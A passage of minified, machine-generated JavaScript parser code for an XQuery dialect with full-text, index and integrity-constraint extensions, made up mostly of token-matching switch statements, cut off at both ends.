81:Nl(),Qu();break;default:Sl(109)}for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(31),Nl(),Qu()}Sl(37)}break;default:Sl(188),kl(78),Sl(246)}Vl.endNonterminal(\"FTThesaurusOption\",Pl)}function Ku(){switch(Hl){case 246:xl(246),kl(142);switch(Hl){case 81:Gu();break;case 109:xl(109);break;default:xl(34),kl(112);switch(Hl){case 81:Gu();break;default:xl(109)}for(;;){kl(101);if(Hl!=41)break;xl(41),kl(31),Gu()}xl(37)}break;default:xl(188),kl(78),xl(246)}}function Qu(){Vl.startNonterminal(\"FTThesaurusID\",Pl),Sl(81),kl(15),Sl(7),kl(221),Hl==217&&(Sl(217),kl(17),Sl(11)),kl(217);switch(Hl){case 81:Ll(165);break;default:_l=Hl}if(_l==130||_l==140||_l==88657||_l==93777)Nl(),Yu(),kl(58),Sl(175);Vl.endNonterminal(\"FTThesaurusID\",Pl)}function Gu(){xl(81),kl(15),xl(7),kl(221),Hl==217&&(xl(217),kl(17),xl(11)),kl(217);switch(Hl){case 81:Ll(165);break;default:_l=Hl}if(_l==130||_l==140||_l==88657||_l==93777)Zu(),kl(58),xl(175)}function Yu(){Vl.startNonterminal(\"FTLiteralRange\",Pl);switch(Hl){case 130:Sl(130),kl(16),Sl(8);break;case 81:Sl(81),kl(125);switch(Hl){case 173:Sl(173),kl(16),Sl(8);break;default:Sl(183),kl(16),Sl(8)}break;default:Sl(140),kl(16),Sl(8),kl(79),Sl(248),kl(16),Sl(8)}Vl.endNonterminal(\"FTLiteralRange\",Pl)}function Zu(){switch(Hl){case 130:xl(130),kl(16),xl(8);break;case 81:xl(81),kl(125);switch(Hl){case 173:xl(173),kl(16),xl(8);break;default:xl(183),kl(16),xl(8)}break;default:xl(140),kl(16),xl(8),kl(79),xl(248),kl(16),xl(8)}}function ea(){Vl.startNonterminal(\"FTStopWordOption\",Pl);switch(Hl){case 239:Sl(239),kl(86),Sl(273),kl(142);switch(Hl){case 109:Sl(109);for(;;){kl(218);if(Hl!=131&&Hl!=254)break;Nl(),ia()}break;default:Nl(),na();for(;;){kl(218);if(Hl!=131&&Hl!=254)break;Nl(),ia()}}break;default:Sl(188),kl(75),Sl(239),kl(86),Sl(273)}Vl.endNonterminal(\"FTStopWordOption\",Pl)}function ta(){switch(Hl){case 239:xl(239),kl(86),xl(273),kl(142);switch(Hl){case 109:xl(109);for(;;){kl(218);if(Hl!=131&&Hl!=254)break;sa()}break;default:ra();for(;;){kl(218);if(Hl!=131&&Hl!=254)break;sa()}}break;default:xl(188),kl(75),xl(239),kl(86),xl(273)}}function na(){Vl.startNonterminal(\"FTStopWords\",Pl);switch(Hl){case 81:Sl(81),kl(15),Sl(7);break;default:Sl(34),kl(17),Sl(11);for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(17),Sl(11)}Sl(37)}Vl.endNonterminal(\"FTStopWords\",Pl)}function ra(){switch(Hl){case 81:xl(81),kl(15),xl(7);break;default:xl(34),kl(17),xl(11);for(;;){kl(101);if(Hl!=41)break;xl(41),kl(17),xl(11)}xl(37)}}function ia(){Vl.startNonterminal(\"FTStopWordsInclExcl\",Pl);switch(Hl){case 254:Sl(254);break;default:Sl(131)}kl(99),Nl(),na(),Vl.endNonterminal(\"FTStopWordsInclExcl\",Pl)}function sa(){switch(Hl){case 254:xl(254);break;default:xl(131)}kl(99),ra()}function oa(){Vl.startNonterminal(\"FTLanguageOption\",Pl),Sl(169),kl(17),Sl(11),Vl.endNonterminal(\"FTLanguageOption\",Pl)}function ua(){xl(169),kl(17),xl(11)}function aa(){Vl.startNonterminal(\"FTWildCardOption\",Pl);switch(Hl){case 268:Sl(268);break;default:Sl(188),kl(84),Sl(268)}Vl.endNonterminal(\"FTWildCardOption\",Pl)}function fa(){switch(Hl){case 268:xl(268);break;default:xl(188),kl(84),xl(268)}}function la(){Vl.startNonterminal(\"FTExtensionOption\",Pl),Sl(199),kl(255),Nl(),Ha(),kl(17),Sl(11),Vl.endNonterminal(\"FTExtensionOption\",Pl)}function ca(){xl(199),kl(255),Ba(),kl(17),xl(11)}function ha(){Vl.startNonterminal(\"FTIgnoreOption\",Pl),Sl(271),kl(42),Sl(100),kl(267),Nl(),Qn(),Vl.endNonterminal(\"FTIgnoreOption\",Pl)}function pa(){xl(271),kl(42),xl(100),kl(267),Gn()}function da(){Vl.startNonterminal(\"CollectionDecl\",Pl),Sl(95),kl(255),Nl(),Ha(),kl(107),Hl==79&&(Nl(),va()),Vl.endNonterminal(\"CollectionDecl\",Pl)}function va(){Vl.startNonterminal(\"CollectionTypeDecl\",Pl),Sl(79),kl(178),Nl(),Ps(),kl(156),Hl!=53&&(Nl(),ys()),Vl.endNonterminal(\"CollectionTypeDecl\",Pl)}function ma(){Vl.startNonterminal(\"IndexName\",Pl),Ha(),Vl.endNonterminal(\"IndexName\",Pl)}function ga(){Vl.startNonterminal(\"IndexDomainExpr\",Pl),Lr(),Vl.endNonterminal(\"IndexDomainExpr\",Pl)}function ya(){Vl.startNonterminal(\"IndexKeySpec\",Pl),ba(),Hl==79&&(Nl(),wa()),kl(146),Hl==94&&(Nl(),Sa()),Vl.endNonterminal(\"IndexKeySpec\",Pl)}function ba(){Vl.startNonterminal(\"IndexKeyExpr\",Pl),Lr(),Vl.endNonterminal(\"IndexKeyExpr\",Pl)}function wa(){Vl.startNonterminal(\"IndexKeyTypeDecl\",Pl),Sl(79),kl(255),Nl(),Ea(),kl(169);if(Hl==39||Hl==40||Hl==64)Nl(),ys();Vl.endNonterminal(\"IndexKeyTypeDecl\",Pl)}function Ea(){Vl.startNonterminal(\"AtomicType\",Pl),Ha(),Vl.endNonterminal(\"AtomicType\",Pl)}function Sa(){Vl.startNonterminal(\"IndexKeyCollation\",Pl),Sl(94),kl(15),Sl(7),Vl.endNonterminal(\"IndexKeyCollation\",Pl)}function xa(){Vl.startNonterminal(\"IndexDecl\",Pl),Sl(155),kl(255),Nl(),ma(),kl(65),Sl(197),kl(63),Sl(192),kl(266),Nl(),ga(),Sl(87),kl(266),Nl(),ya();for(;;){kl(103);if(Hl!=41)break;Sl(41),kl(266),Nl(),ya()}Vl.endNonterminal(\"IndexDecl\",Pl)}function Ta(){Vl.startNonterminal(\"ICDecl\",Pl),Sl(161),kl(40),Sl(97),kl(255),Nl(),Ha(),kl(120);switch(Hl){case 197:Nl(),Na();break;default:Nl(),Aa()}Vl.endNonterminal(\"ICDecl\",Pl)}function Na(){Vl.startNonterminal(\"ICCollection\",Pl),Sl(197),kl(39),Sl(95),kl(255),Nl(),Ha(),kl(140);switch(Hl){case 31:Nl(),Ca();break;case 191:Nl(),ka();break;default:Nl(),La()}Vl.endNonterminal(\"ICCollection\",Pl)}function Ca(){Vl.startNonterminal(\"ICCollSequence\",Pl),li(),kl(37),Sl(92),kl(267),Nl(),_f(),Vl.endNonterminal(\"ICCollSequence\",Pl)}function ka(){Vl.startNonterminal(\"ICCollSequenceUnique\",Pl),Sl(191),kl(21),Nl(),li(),kl(37),Sl(92),kl(80),Sl(255),kl(57),Sl(168),kl(266),Nl(),Lr(),Vl.endNonterminal(\"ICCollSequenceUnique\",Pl)}function La(){Vl.startNonterminal(\"ICCollNode\",Pl),Sl(138),kl(62),Sl(191),kl(21),Nl(),li(),kl(37),Sl(92),kl(267),Nl(),_f(),Vl.endNonterminal(\"ICCollNode\",Pl)}function Aa(){Vl.startNonterminal(\"ICForeignKey\",Pl),Sl(139),kl(57),Sl(168),kl(51),Nl(),Oa(),Nl(),Ma(),Vl.endNonterminal(\"ICForeignKey\",Pl)}function Oa(){Vl.startNonterminal(\"ICForeignKeySource\",Pl),Sl(140),kl(39),Nl(),_a(),Vl.endNonterminal(\"ICForeignKeySource\",Pl)}function Ma(){Vl.startNonterminal(\"ICForeignKeyTarget\",Pl),Sl(248),kl(39),Nl(),_a(),Vl.endNonterminal(\"ICForeignKeyTarget\",Pl)}function _a(){Vl.startNonterminal(\"ICForeignKeyValues\",Pl),Sl(95),kl(255),Nl(),Ha(),kl(62),Sl(191),kl(21),Nl(),li(),kl(57),Sl(168),kl(266),Nl(),Lr(),Vl.endNonterminal(\"ICForeignKeyValues\",Pl)}function Da(){xl(36);for(;;){Al(89);if(Hl==50)break;switch(Hl){case 24:xl(24);break;default:Da()}}xl(50)}function Pa(){switch(Hl){case 22:xl(22);break;default:Da()}}function Ha(){Vl.startNonterminal(\"EQName\",Pl),Al(250);switch(Hl){case 82:Sl(82);break;case 96:Sl(96);break;case 120:Sl(120);break;case 121:Sl(121);break;case 124:Sl(124);break;case 145:Sl(145);break;case 152:Sl(152);break;case 165:Sl(165);break;case 185:Sl(185);break;case 191:Sl(191);break;case 216:Sl(216);break;case 226:Sl(226);break;case 227:Sl(227);break;case 243:Sl(243);break;case 244:Sl(244);break;case 253:Sl(253);break;case 78:Sl(78);break;case 167:Sl(167);break;case 242:Sl(242);break;default:ja()}Vl.endNonterminal(\"EQName\",Pl)}function Ba(){Al(250);switch(Hl){case 82:xl(82);break;case 96:xl(96);break;case 120:xl(120);break;case 121:xl(121);break;case 124:xl(124);break;case 145:xl(145);break;case 152:xl(152);break;case 165:xl(165);break;case 185:xl(185);break;case 191:xl(191);break;case 216:xl(216);break;case 226:xl(226);break;case 227:xl(227);break;case 243:xl(243);break;case 244:xl(244);break;case 253:xl(253);break;case 78:xl(78);break;case 167:xl(167);break;case 242:xl(242);break;default:Fa()}}function ja(){Vl.startNonterminal(\"FunctionName\",Pl);switch(Hl){case 6:Sl(6);break;case 70:Sl(70);break;case 73:Sl(73);break;case 74:Sl(74);break;case 75:Sl(75);break;case 79:Sl(79);break;case 80:Sl(80);break;case 84:Sl(84);break;case 88:Sl(88);break;case 89:Sl(89);break;case 90:Sl(90);break;case 93:Sl(93);break;case 94:Sl(94);break;case 103:Sl(103);break;case 105:Sl(105);break;case 108:Sl(108);break;case 109:Sl(109);break;case 110:Sl(110);break;case 111:Sl(111);break;case 112:Sl(112);break;case 113:Sl(113);break;case 118:Sl(118);break;case 119:Sl(119);break;case 122:Sl(122);break;case 123:Sl(123);break;case 126:Sl(126);break;case 128:Sl(128);break;case 129:Sl(129);break;case 131:Sl(131);break;case 134:Sl(134);break;case 135:Sl(135);break;case 136:Sl(136);break;case 137:Sl(137);break;case 146:Sl(146);break;case 148:Sl(148);break;case 150:Sl(150);break;case 151:Sl(151);break;case 153:Sl(153);break;case 159:Sl(159);break;case 160:Sl(160);break;case 162:Sl(162);break;case 163:Sl(163);break;case 164:Sl(164);break;case 170:Sl(170);break;case 172:Sl(172);break;case 174:Sl(174);break;case 178:Sl(178);break;case 180:Sl(180);break;case 181:Sl(181);break;case 182:Sl(182);break;case 184:Sl(184);break;case 186:Sl(186);break;case 198:Sl(198);break;case 200:Sl(200);break;case 201:Sl(201);break;case 202:Sl(202);break;case 206:Sl(206);break;case 212:Sl(212);break;case 213:Sl(213);break;case 218:Sl(218);break;case 219:Sl(219);break;case 220:Sl(220);break;case 224:Sl(224);break;case 229:Sl(229);break;case 235:Sl(235);break;case 236:Sl(236);break;case 237:Sl(237);break;case 248:Sl(248);break;case 249:Sl(249);break;case 250:Sl(250);break;case 254:Sl(254);break;case 256:Sl(256);break;case 260:Sl(260);break;case 266:Sl(266);break;case 270:Sl(270);break;case 274:Sl(274);break;case 72:Sl(72);break;case 81:Sl(81);break;case 83:Sl(83);break;case 85:Sl(85);break;case 86:Sl(86);break;case 91:Sl(91);break;case 98:Sl(98);break;case 101:Sl(101);break;case 102:Sl(102);break;case 104:Sl(104);break;case 106:Sl(106);break;case 125:Sl(125);break;case 132:Sl(132);break;case 133:Sl(133);break;case 141:Sl(141);break;case 154:Sl(154);break;case 155:Sl(155);break;case 161:Sl(161);break;case 171:Sl(171);break;case 192:Sl(192);break;case 199:Sl(199);break;case 203:Sl(203);break;case 222:Sl(222);break;case 225:Sl(225);break;case 228:Sl(228);break;case 234:Sl(234);break;case 240:Sl(240);break;case 251:Sl(251);break;case 252:Sl(252);break;case 257:Sl(257);break;case 261:Sl(261);break;case 262:Sl(262);break;case 263:Sl(263);break;case 267:Sl(267);break;case 97:Sl(97);break;case 176:Sl(176);break;case 221:Sl(221);break;case 77:Sl(77);break;case 166:Sl(166);break;default:Sl(194)}Vl.endNonterminal(\"FunctionName\",Pl)}function Fa(){switch(Hl){case 6:xl(6);break;case 70:xl(70);break;case 73:xl(73);break;case 74:xl(74);break;case 75:xl(75);break;case 79:xl(79);break;case 80:xl(80);break;case 84:xl(84);break;case 88:xl(88);break;case 89:xl(89);break;case 90:xl(90);break;case 93:xl(93);break;case 94:xl(94);break;case 103:xl(103);break;case 105:xl(105);break;case 108:xl(108);break;case 109:xl(109);break;case 110:xl(110);break;case 111:xl(111);break;case 112:xl(112);break;case 113:xl(113);break;case 118:xl(118);break;case 119:xl(119);break;case 122:xl(122);break;case 123:xl(123);break;case 126:xl(126);break;case 128:xl(128);break;case 129:xl(129);break;case 131:xl(131);break;case 134:xl(134);break;case 135:xl(135);break;case 136:xl(136);break;case 137:xl(137);break;case 146:xl(146);break;case 148:xl(148);break;case 150:xl(150);break;case 151:xl(151);break;case 153:xl(153);break;case 159:xl(159);break;case 160:xl(160);break;case 162:xl(162);break;case 163:xl(163);break;case 164:xl(164);break;case 170:xl(170);break;case 172:xl(172);break;case 174:xl(174);break;case 178:xl(178);break;case 180:xl(180);break;case 181:xl(181);break;case 182:xl(182);break;case 184:xl(184);break;case 186:xl(186);break;case 198:xl(198);break;case 200:xl(200);break;case 201:xl(201);break;case 202:xl(202);break;case 206:xl(206);break;case 212:xl(212);break;case 213:xl(213);break;case 218:xl(218);break;case 219:xl(219);break;case 220:xl(220);break;case 224:xl(224);break;case 229:xl(229);break;case 235:xl(235);break;case 236:xl(236);break;case 237:xl(237);break;case 248:xl(248);break;case 249:xl(249);break;case 250:xl(250);break;case 254:xl(254);break;case 256:xl(256);break;case 260:xl(260);break;case 266:xl(266);break;case 270:xl(270);break;case 274:xl(274);break;case 72:xl(72);break;case 81:xl(81);break;case 83:xl(83);break;case 85:xl(85);break;case 86:xl(86);break;case 91:xl(91);break;case 98:xl(98);break;case 101:xl(101);break;case 102:xl(102);break;case 104:xl(104);break;case 106:xl(106);break;case 125:xl(125);break;case 132:xl(132);break;case 133:xl(133);break;case 141:xl(141);break;case 154:xl(154);break;case 155:xl(155);break;case 161:xl(161);break;case 171:xl(171);break;case 192:xl(192);break;case 199:xl(199);break;case 203:xl(203);break;case 222:xl(222);break;case 225:xl(225);break;case 228:xl(228);break;case 234:xl(234);break;case 240:xl(240);break;case 251:xl(251);break;case 252:xl(252);break;case 257:xl(257);break;case 261:xl(261);break;case 262:xl(262);break;case 263:xl(263);break;case 267:xl(267);break;case 97:xl(97);break;case 176:xl(176);break;case 221:xl(221);break;case 77:xl(77);break;case 166:xl(166);break;default:xl(194)}}function Ia(){Vl.startNonterminal(\"NCName\",Pl);switch(Hl){case 19:Sl(19);break;case 70:Sl(70);break;case 75:Sl(75);break;case 79:Sl(79);break;case 80:Sl(80);break;case 84:Sl(84);break;case 88:Sl(88);break;case 89:Sl(89);break;case 90:Sl(90);break;case 94:Sl(94);break;case 105:Sl(105);break;case 109:Sl(109);break;case 113:Sl(113);break;case 118:Sl(118);break;case 122:Sl(122);break;case 123:Sl(123);break;case 126:Sl(126);break;case 128:Sl(128);break;case 131:Sl(131);break;case 137:Sl(137);break;case 146:Sl(146);break;case 148:Sl(148);break;case 150:Sl(150);break;case 151:Sl(151);break;case 160:Sl(160);break;case 162:Sl(162);break;case 163:Sl(163);break;case 164:Sl(164);break;case 172:Sl(172);break;case 174:Sl(174);break;case 178:Sl(178);break;case 180:Sl(180);break;case 181:Sl(181);break;case 186:Sl(186);break;case 198:Sl(198);break;case 200:Sl(200);break;case 201:Sl(201);break;case 220:Sl(220);break;case 224:Sl(224);break;case 236:Sl(236);break;case 237:Sl(237);break;case 248:Sl(248);break;case 249:Sl(249);break;case 254:Sl(254);break;case 266:Sl(266);break;case 270:Sl(270);break;case 73:Sl(73);break;case 74:Sl(74);break;case 82:Sl(82);break;case 93:Sl(93);break;case 96:Sl(96);break;case 103:Sl(103);break;case 108:Sl(108);break;case 110:Sl(110);break;case 111:Sl(111);break;case 112:Sl(112);break;case 119:Sl(119);break;case 120:Sl(120);break;case 121:Sl(121);break;case 124:Sl(124);break;case 129:Sl(129);break;case 134:Sl(134);break;case 135:Sl(135);break;case 136:Sl(136);break;case 145:Sl(145);break;case 152:Sl(152);break;case 153:Sl(153);break;case 159:Sl(159);break;case 165:Sl(165);break;case 170:Sl(170);break;case 182:Sl(182);break;case 184:Sl(184);break;case 185:Sl(185);break;case 191:Sl(191);break;case 202:Sl(202);break;case 206:Sl(206);break;case 212:Sl(212);break;case 213:Sl(213);break;case 216:Sl(216);break;case 218:Sl(218);break;case 219:Sl(219);break;case 226:Sl(226);break;case 227:Sl(227);break;case 229:Sl(229);break;case 235:Sl(235);break;case 243:Sl(243);break;case 244:Sl(244);break;case 250:Sl(250);break;case 253:Sl(253);break;case 256:Sl(256);break;case 260:Sl(260);break;case 262:Sl(262);break;case 274:Sl(274);break;case 72:Sl(72);break;case 81:Sl(81);break;case 83:Sl(83);break;case 85:Sl(85);break;case 86:Sl(86);break;case 91:Sl(91);break;case 98:Sl(98);break;case 101:Sl(101);break;case 102:Sl(102);break;case 104:Sl(104);break;case 106:Sl(106);break;case 125:Sl(125);break;case 132:Sl(132);break;case 133:Sl(133);break;case 141:Sl(141);break;case 154:Sl(154);break;case 155:Sl(155);break;case 161:Sl(161);break;case 171:Sl(171);break;case 192:Sl(192);break;case 199:Sl(199);break;case 203:Sl(203);break;case 222:Sl(222);break;case 225:Sl(225);break;case 228:Sl(228);break;case 234:Sl(234);break;case 240:Sl(240);break;case 251:Sl(251);break;case 252:Sl(252);break;case 257:Sl(257);break;case 261:Sl(261);break;case 263:Sl(263);break;case 267:Sl(267);break;case 97:Sl(97);break;case 176:Sl(176);break;case 221:Sl(221);break;case 77:Sl(77);break;case 166:Sl(166);break;default:Sl(194)}Vl.endNonterminal(\"NCName\",Pl)}function qa(){switch(Hl){case 19:xl(19);break;case 70:xl(70);break;case 75:xl(75);break;case 79:xl(79);break;case 80:xl(80);break;case 84:xl(84);break;case 88:xl(88);break;case 89:xl(89);break;case 90:xl(90);break;case 94:xl(94);break;case 105:xl(105);break;case 109:xl(109);break;case 113:xl(113);break;case 118:xl(118);break;case 122:xl(122);break;case 123:xl(123);break;case 126:xl(126);break;case 128:xl(128);break;case 131:xl(131);break;case 137:xl(137);break;case 146:xl(146);break;case 148:xl(148);break;case 150:xl(150);break;case 151:xl(151);break;case 160:xl(160);break;case 162:xl(162);break;case 163:xl(163);break;case 164:xl(164);break;case 172:xl(172);break;case 174:xl(174);break;case 178:xl(178);break;case 180:xl(180);break;case 181:xl(181);break;case 186:xl(186);break;case 198:xl(198);break;case 200:xl(200);break;case 201:xl(201);break;case 220:xl(220);break;case 224:xl(224);break;case 236:xl(236);break;case 237:xl(237);break;case 248:xl(248);break;case 249:xl(249);break;case 254:xl(254);break;case 266:xl(266);break;case 270:xl(270);break;case 73:xl(73);break;case 74:xl(74);break;case 82:xl(82);break;case 93:xl(93);break;case 96:xl(96);break;case 103:xl(103);break;case 108:xl(108);break;case 110:xl(110);break;case 111:xl(111);break;case 112:xl(112);break;case 119:xl(119);break;case 120:xl(120);break;case 121:xl(121);break;case 124:xl(124);break;case 129:xl(129);break;case 134:xl(134);break;case 135:xl(135);break;case 136:xl(136);break;case 145:xl(145);break;case 152:xl(152);break;case 153:xl(153);break;case 159:xl(159);break;case 165:xl(165);break;case 170:xl(170);break;case 182:xl(182);break;case 184:xl(184);break;case 185:xl(185);break;case 191:xl(191);break;case 202:xl(202);break;case 206:xl(206);break;case 212:xl(212);break;case 213:xl(213);break;case 216:xl(216);break;case 218:xl(218);break;case 219:xl(219);break;case 226:xl(226);break;case 227:xl(227);break;case 229:xl(229);break;case 235:xl(235);break;case 243:xl(243);break;case 244:xl(244);break;case 250:xl(250);break;case 253:xl(253);break;case 256:xl(256);break;case 260:xl(260);break;case 262:xl(262);break;case 274:xl(274);break;case 72:xl(72);break;case 81:xl(81);break;case 83:xl(83);break;case 85:xl(85);break;case 86:xl(86);break;case 91:xl(91);break;case 98:xl(98);break;case 101:xl(101);break;case 102:xl(102);break;case 104:xl(104);break;case 106:xl(106);break;case 125:xl(125);break;case 132:xl(132);break;case 133:xl(133);break;case 141:xl(141);break;case 154:xl(154);break;case 155:xl(155);break;case 161:xl(161);break;case 171:xl(171);break;case 192:xl(192);break;case 199:xl(199);break;case 203:xl(203);break;case 222:xl(222);break;case 225:xl(225);break;case 228:xl(228);break;case 234:xl(234);break;case 240:xl(240);break;case 251:xl(251);break;case 252:xl(252);break;case 257:xl(257);break;case 261:xl(261);break;case 263:xl(263);break;case 267:xl(267);break;case 97:xl(97);break;case 176:xl(176);break;case 221:xl(221);break;case 77:xl(77);break;case 166:xl(166);break;default:xl(194)}}function Ra(){Vl.startNonterminal(\"MainModule\",Pl),l(),Nl(),Ua(),Vl.endNonterminal(\"MainModule\",Pl)}function Ua(){Vl.startNonterminal(\"Program\",Pl),$a(),Vl.endNonterminal(\"Program\",Pl)}function za(){Vl.startNonterminal(\"Statements\",Pl);for(;;){kl(278);switch(Hl){case 34:Ll(269);break;case 35:Ol(252);break;case 46:Ll(284);break;case 47:Ll(265);break;case 54:Ol(4);break;case 55:Ol(1);break;case 59:Ol(3);break;case 66:Ll(257);break;case 68:Ll(272);break;case 77:Ll(200);break;case 82:Ll(281);break;case 121:Ll(280);break;case 132:Ll(203);break;case 137:Ll(208);break;case 174:Ll(205);break;case 218:Ll(206);break;case 219:Ll(207);break;case 260:Ll(210);break;case 276:Ll(277);break;case 278:Ll(273);break;case 5:case 45:Ll(186);break;case 31:case 32:Ll(255);break;case 40:case 42:Ll(267);break;case 86:case 102:Ll(201);break;case 110:case 159:Ll(209);break;case 184:case 216:Ll(268);break;case 103:case 129:case 235:case 262:Ll(197);break;case 8:case 9:case 10:case 11:case 44:Ll(192);break;case 78:case 124:case 165:case 167:case 242:Ll(191);break;case 96:case 119:case 202:case 244:case 250:case 256:Ll(204);break;case 73:case 74:case 93:case 111:case 112:case 135:case 136:case 206:case 212:case 213:case 229:Ll(198);break;case 6:case 70:case 72:case 75:case 79:case 80:case 81:case 83:case 84:case 85:case 88:case 89:case 90:case 91:case 94:case 97:case 98:case 101:case 104:case 105:case 106:case 108:case 109:case 113:case 118:case 120:case 122:case 123:case 125:case 126:case 128:case 131:case 133:case 134:case 141:case 145:case 146:case 148:case 150:case 151:case 152:case 153:case 154:case 155:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 176:case 178:case 180:case 181:case 182:case 185:case 186:case 191:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 220:case 221:case 222:case 224:case 225:case 226:case 227:case 228:case 234:case 236:case 237:case 240:case 243:case 248:case 249:case 251:case 252:case 253:case 254:case 257:case 261:case 263:case 266:case 267:case 270:case 274:Ll(195);break;default:_l=Hl}if(_l!=25&&_l!=53&&_l!=282&&_l!=12805&&_l!=12806&&_l!=12808&&_l!=12809&&_l!=12810&&_l!=12811&&_l!=12844&&_l!=12845&&_l!=12846&&_l!=12870&&_l!=12872&&_l!=12873&&_l!=12874&&_l!=12875&&_l!=12877&&_l!=12878&&_l!=12879&&_l!=12880&&_l!=12881&&_l!=12882&&_l!=12883&&_l!=12884&&_l!=12885&&_l!=12886&&_l!=12888&&_l!=12889&&_l!=12890&&_l!=12891&&_l!=12893&&_l!=12894&&_l!=12896&&_l!=12897&&_l!=12898&&_l!=12901&&_l!=12902&&_l!=12903&&_l!=12904&&_l!=12905&&_l!=12906&&_l!=12908&&_l!=12909&&_l!=12910&&_l!=12911&&_l!=12912&&_l!=12913&&_l!=12918&&_l!=12919&&_l!=12920&&_l!=12921&&_l!=12922&&_l!=12923&&_l!=12924&&_l!=12925&&_l!=12926&&_l!=12928&&_l!=12929&&_l!=12931&&_l!=12932&&_l!=12933&&_l!=12934&&_l!=12935&&_l!=12936&&_l!=12937&&_l!=12941&&_l!=12945&&_l!=12946&&_l!=12948&&_l!=12950&&_l!=12951&&_l!=12952&&_l!=12953&&_l!=12954&&_l!=12955&&_l!=12959&&_l!=12960&&_l!=12961&&_l!=12962&&_l!=12963&&_l!=12964&&_l!=12965&&_l!=12966&&_l!=12967&&_l!=12970&&_l!=12971&&_l!=12972&&_l!=12974&&_l!=12976&&_l!=12978&&_l!=12980&&_l!=12981&&_l!=12982&&_l!=12984&&_l!=12985&&_l!=12986&&_l!=12991&&_l!=12992&&_l!=12994&&_l!=12998&&_l!=12999&&_l!=13e3&&_l!=13001&&_l!=13002&&_l!=13003&&_l!=13006&&_l!=13012&&_l!=13013&&_l!=13016&&_l!=13018&&_l!=13019&&_l!=13020&&_l!=13021&&_l!=13022&&_l!=13024&&_l!=13025&&_l!=13026&&_l!=13027&&_l!=13028&&_l!=13029&&_l!=13034&&_l!=13035&&_l!=13036&&_l!=13037&&_l!=13040&&_l!=13042&&_l!=13043&&_l!=13044&&_l!=13048&&_l!=13049&&_l!=13050&&_l!=13051&&_l!=13052&&_l!=13053&&_l!=13054&&_l!=13056&&_l!=13057&&_l!=13060&&_l!=13061&&_l!=13062&&_l!=13063&&_l!=13066&&_l!=13067&&_l!=13070&&_l!=13074&&_l!=16134&&_l!=20997&&_l!=20998&&_l!=21e3&&_l!=21001&&_l!=21002&&_l!=21003&&_l!=21036&&_l!=21037&&_l!=21038&&_l!=21062&&_l!=21064&&_l!=21065&&_l!=21066&&_l!=21067&&_l!=21069&&_l!=21070&&_l!=21071&&_l!=21072&&_l!=21073&&_l!=21074&&_l!=21075&&_l!=21076&&_l!=21077&&_l!=21078&&_l!=21080&&_l!=21081&&_l!=21082&&_l!=21083&&_l!=21085&&_l!=21086&&_l!=21088&&_l!=21089&&_l!=21090&&_l!=21093&&_l!=21094&&_l!=21095&&_l!=21096&&_l!=21097&&_l!=21098&&_l!=21100&&_l!=21101&&_l!=21102&&_l!=21103&&_l!=21104&&_l!=21105&&_l!=21110&&_l!=21111&&_l!=21112&&_l!=21113&&_l!=21114&&_l!=21115&&_l!=21116&&_l!=21117&&_l!=21118&&_l!=21120&&_l!=21121&&_l!=21123&&_l!=21124&&_l!=21125&&_l!=21126&&_l!=21127&&_l!=21128&&_l!=21129&&_l!=21133&&_l!=21137&&_l!=21138&&_l!=21140&&_l!=21142&&_l!=21143&&_l!=21144&&_l!=21145&&_l!=21146&&_l!=21147&&_l!=21151&&_l!=21152&&_l!=21153&&_l!=21154&&_l!=21155&&_l!=21156&&_l!=21157&&_l!=21158&&_l!=21159&&_l!=21162&&_l!=21163&&_l!=21164&&_l!=21166&&_l!=21168&&_l!=21170&&_l!=21172&&_l!=21173&&_l!=21174&&_l!=21176&&_l!=21177&&_l!=21178&&_l!=21183&&_l!=21184&&_l!=21186&&_l!=21190&&_l!=21191&&_l!=21192&&_l!=21193&&_l!=21194&&_l!=21195&&_l!=21198&&_l!=21204&&_l!=21205&&_l!=21208&&_l!=21210&&_l!=21211&&_l!=21212&&_l!=21213&&_l!=21214&&_l!=21216&&_l!=21217&&_l!=21218&&_l!=21219&&_l!=21220&&_l!=21221&&_l!=21226&&_l!=21227&&_l!=21228&&_l!=21229&&_l!=21232&&_l!=21234&&_l!=21235&&_l!=21236&&_l!=21240&&_l!=21241&&_l!=21242&&_l!=21243&&_l!=21244&&_l!=21245&&_l!=21246&&_l!=21248&&_l!=21249&&_l!=21252&&_l!=21253&&_l!=21254&&_l!=21255&&_l!=21258&&_l!=21259&&_l!=21262&&_l!=21266&&_l!=27141&&_l!=27142&&_l!=27144&&_l!=27145&&_l!=27146&&_l!=27147&&_l!=27180&&_l!=27181&&_l!=27182&&_l!=27206&&_l!=27208&&_l!=27209&&_l!=27210&&_l!=27211&&_l!=27213&&_l!=27214&&_l!=27215&&_l!=27216&&_l!=27217&&_l!=27218&&_l!=27219&&_l!=27220&&_l!=27221&&_l!=27222&&_l!=27224&&_l!=27225&&_l!=27226&&_l!=27227&&_l!=27229&&_l!=27230&&_l!=27232&&_l!=27233&&_l!=27234&&_l!=27237&&_l!=27238&&_l!=27239&&_l!=27240&&_l!=27241&&_l!=27242&&_l!=27244&&_l!=27245&&_l!=27246&&_l!=27247&&_l!=27248&&_l!=27249&&_l!=27254&&_l!=27255&&_l!=27256&&_l!=27257&&_l!=27258&&_l!=27259&&_l!=27260&&_l!=27261&&_l!=27262&&_l!=27264&&_l!=27265&&_l!=27267&&_l!=27268&&_l!=27269&&_l!=27270&&_l!=27271&&_l!=27272&&_l!=27273&&_l!=27277&&_l!=27281&&_l!=27282&&_l!=27284&&_l!=27286&&_l!=27287&&_l!=27288&&_l!=27289&&_l!=27290&&_l!=27291&&_l!=27295&&_l!=27296&&_l!=27297&&_l!=27298&&_l!=27299&&_l!=27300&&_l!=27301&&_l!=27302&&_l!=27303&&_l!=27306&&_l!=27307&&_l!=27308&&_l!=27310&&_l!=27312&&_l!=27314&&_l!=27316&&_l!=27317&&_l!=27318&&_l!=27320&&_l!=27321&&_l!=27322&&_l!=27327&&_l!=27328&&_l!=27330&&_l!=27334&&_l!=27335&&_l!=27336&&_l!=27337&&_l!=27338&&_l!=27339&&_l!=27342&&_l!=27348&&_l!=27349&&_l!=27352&&_l!=27354&&_l!=27355&&_l!=27356&&_l!=27357&&_l!=27358&&_l!=27360&&_l!=27361&&_l!=27362&&_l!=27363&&_l!=27364&&_l!=27365&&_l!=27370&&_l!=27371&&_l!=27372&&_l!=27373&&_l!=27376&&_l!=27378&&_l!=27379&&_l!=27380&&_l!=27384&&_l!=27385&&_l!=27386&&_l!=27387&&_